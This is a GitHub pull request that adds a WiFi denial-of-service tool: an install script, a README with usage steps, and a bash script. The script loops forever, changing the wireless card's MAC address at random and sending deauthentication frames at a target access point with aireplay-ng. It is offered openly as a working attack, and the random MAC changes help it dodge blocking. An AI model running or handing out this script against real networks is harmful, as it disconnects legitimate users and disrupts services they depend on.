Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add WiFi DoS with MAC Spoofing attack Shell Script #353

Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 4 additions & 0 deletions WiFi DoS with MAC Spoofing/Install_Requirements.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
#!/bin/bash

apt update
apt-get install -y aircrack-ng macchanger
38 changes: 38 additions & 0 deletions WiFi DoS with MAC Spoofing/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
# WiFi_DoS_w/_MAC_Spoofing
Shell script to execute an WiFi DoS with MAC Spoofing attack

# Requirements:

- WiFi interface in monitor mode (if not, you can do it by airmon-ng)

- Aircrack-ng
- MACCHANGER

For Debian-based linux distros, both can be installed by:
```
apt-get install aircrack-ng macchanger
```

(or just run "Install_Requirements.sh" from this repository)

# How to execute this script:

1- Check if the file has execution autorization (if not, just do "chmod +x [file name]")

2- ./[file name] [interface name] [target channel] [target MAC adress]

# How does this script works:

1- Set the target channel

2- Start an infinite loop

2.1- Change interface MAC adress to a random one

2.2- Send 3 deauthentication packets

2.3- 3 seconds sleep

# Author

HCuri1 - Henrique Curi
17 changes: 17 additions & 0 deletions WiFi DoS with MAC Spoofing/WiFi_DoS_with_Mac_Spoofing.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
#!/bin/bash

##$1 -> Interface name
##$2 -> Target channel
##$3 -> Target MAC addres

iw dev $1 set channel $2

while true
do
sleep 3
ip link set $1 down
macchanger -r $1
ip link set $1 up
aireplay-ng --deauth 3 -a $3 $1
echo " "
done